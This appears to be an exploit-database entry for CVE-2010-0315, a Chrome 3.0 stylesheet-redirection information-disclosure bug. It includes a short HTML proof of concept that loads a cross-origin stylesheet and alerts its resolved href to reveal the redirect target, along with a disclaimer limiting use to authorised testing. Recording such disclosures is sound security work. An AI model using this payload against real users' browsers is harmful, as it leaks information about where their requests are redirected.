Materialized exploit

CVE-2010-0315

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB remote multiple Verified

Source

Google Chrome 3.0 - Style Sheet redirection Information Disclosure

By Cesar Cerrudo

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code html

source: https://www.securityfocus.com/bid/37917/info

Google Chrome is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information that may lead to further attacks.

<link rel="stylesheet" type="text/css" href="http://www.example.com"> Hola <script language="javascript"> setTimeout("alert(document.styleSheets[0].href)", 10000); //setTimeout is used just to wait for page loading </script>